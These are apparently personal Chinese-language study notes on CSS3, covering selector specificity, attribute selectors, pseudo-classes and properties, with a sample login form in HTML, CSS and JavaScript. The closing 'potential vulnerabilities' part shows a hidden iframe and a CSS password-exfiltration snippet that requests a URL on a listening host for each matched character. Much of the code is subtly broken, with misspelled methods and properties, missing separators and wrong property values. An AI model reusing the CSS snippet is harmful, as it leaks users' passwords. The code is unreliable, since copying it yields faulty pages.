CSS3

Cascading Style Sheets

基本结构

1

selector, ... {property:value; ... }

继承: Netscape4不支持
格式化: 块级元素, 行内元素

多重样式

更详细定义 - 继承
重复定义 - 优先级: 同级别下权重大, 同权重下后定义

!important 1-0-0-0-0
内联 1-0-0-0

1

<tag style="property:value;...">

id选择器 1-0-0

1

#id {property:value; ... }

class选择器 0-1-0

1

.class {property:value; ... }

property选择器 0-1-0

1

[property="value"] {property:value; ... }

~= 包含值(完整)
|= 以值开头(完整)
^= 匹配以值开头
$= 匹配以值结尾
*= 匹配值

伪类(pseudo class) 0-1-0

1

:pseudo_class {property:value; ... }

active, checked, disabled, empty, enabled, first-child, first-of-type, focus, hover, in-range, invalid, lang, last-child, last-of-type, link, nth-child(n), nth-last-child(n), nth-last-of-type(n), nth-of-type(n), only-of-type, only-child, option, out-of-range, read-only, read-write, required, root, target, valid, visited

tag选择器 0-0-1

1

tag {property:value; ... }

伪元素(pseudo element) 0-0-1

1

::pseudo_element {property:value; ... }

after, before, first-letter, first-line, selection

通配符* 关系符, + > ~ "" | | 否定符:not( ) 0-0-0 分组 tag,tag 共同样式
后代 tag tag 包含元素
父子 tag>tag 仅限子元素
相邻 tag+tag 仅对紧邻元素

外部链接

1
2
3


<head>
<link rel="stylesheet" type="text/css" href="文件名.css">
<\head>

常用属性

背景: background, -attachment (scroll; fixed; local; initial; inherit), -color, -image, -position, -repeat, -clip, -origin (padding-box; border-box; content-box), -size
字体: @font-face (font-family; src); font, -family, -size, -style (normal; italic; oblique), -variant (normal; small-caps), -weight
文本: color, direction (ltr; rtl), letter-space, line-height, vertical-align, white-space; text-align (left; right; center; justify), -decoration (none; underline; overline; line-through; blink), -indent, -transform (none; capitalize; uppercase; lowercase), -overflow (clip; ellipsis; string), -shadow; word-spacing, -break (normal; break-all; keep-all), -wrap
分页: page-break-after, -before, -inside (auto; always; avoid; left; right)
定位: position (absolute; fixed; relative; static; sticky), bottom, left, right, top, clear (left; right; both; none), clip (shape; auto), cursor (url; default; auto; crosshair; pointer; move; text; wait; help; …), display (absolute; fixed; relative; static; sticky), float (left; right; none), overflow (visible; hidden; scroll; auto), visibility (visible; hidden; collapse), z-index
网络: grid-column, grid-row
Box: box, -shadow, -sizing; overflow, -x/y (no-display; no-content); opacity
外边距: margin, -left/right/top/bottom
轮廓: outline, -color/style/width
边框: border, -left/right/top/bottom, - -color/style/width, -radius
内边距: padding, -left/right/top/bottom
内容: height/width, max/min-height/width
弹性: flex, -grow, -shrink, -basis, -flow, -direction; align, -content, -items (stretch; center; flex-start; flex-end; baseline), -self (space-between; space-evenly; space-around); justify-content, order
列表: list-style, -image, -position (outside; inside), -type (none; disc; circle; squre; decimal; lower-roman; upper-alpha; …)
多列: columns, conlumn-count, -fill, -gap, -span, -width, -rule, - -color/style/width
表格: border-collapse, -spacing, caption-side, empty-cells, table-layout
生成: content (none; normal; counter; attr; string; open-quote; close-quote; no-open-quote; no-close-quote; url), -increment, -reset; quotes
动画: @keyframes; animation, -name, -duration, -timing-funcion, -delay, -iteration-count, -direction, -play-state
过渡: transition, -property, -duration, -timing-function, -delay

实例: 简单表单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>登录界面<\title>
  <link rel="stylesheet" type="text/css" href="login.css">
</head>
<body>
  <div class="container">
    <h1>用户登录</h1>
    <form id="loginForm">
      <input type="text" id="username" placeholder="用户名">
      <input type="password" id="password" placeholder="密码">
      <button type="submit">登录</button>
    </form>
    <p id="message"></p>
    <script src="login.js"></script>
</body>
</html>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


body {
  font-family: Arial, sans-serif;
}

.container {
  width: 300px;
  margin: 0 auto;
  margin-top: 100px;
}

h1 {
  text-align: center;
}

form {
  margin-top: 30px;
}

input[type=text]
input[type=password]
input[type=submit] {
  display: block;
  width: 100%
  padding: 10px
  margin-bottom: 10xp;
}

button[type=submit] {
  background-color: #4CAF50;
  color: white;
}

#message {
  text-align: center;
  margin-top: 15px;
  font-weight: bold;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


document.getElementById('loginForm').addEventListerner('submit', function(e) {
  e.preventDefault();

  var username = document.getElementById('username').value;
  var password = document.getElementById('password').value;

  var data = {
    username: username,
    password: password
  };

  fetch('/login', {
    method: 'PUT',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
  })
  .then(function(response) {
    return responce.text();
  })
  .then(function(message) {
    document.getElementById('message').textContent = message;
  })
  .catch(function(error) {
    console.log(error);
  })
});

潜在漏洞

iframe transparent

1

<iframe src="URL" style="display:none;"></iframe>

keylogger

1
2
3
4
5


<style>
  input[type="password"][value$="a"] {
    backgroud-image: url("http//localhost:3000/a");
}
</style>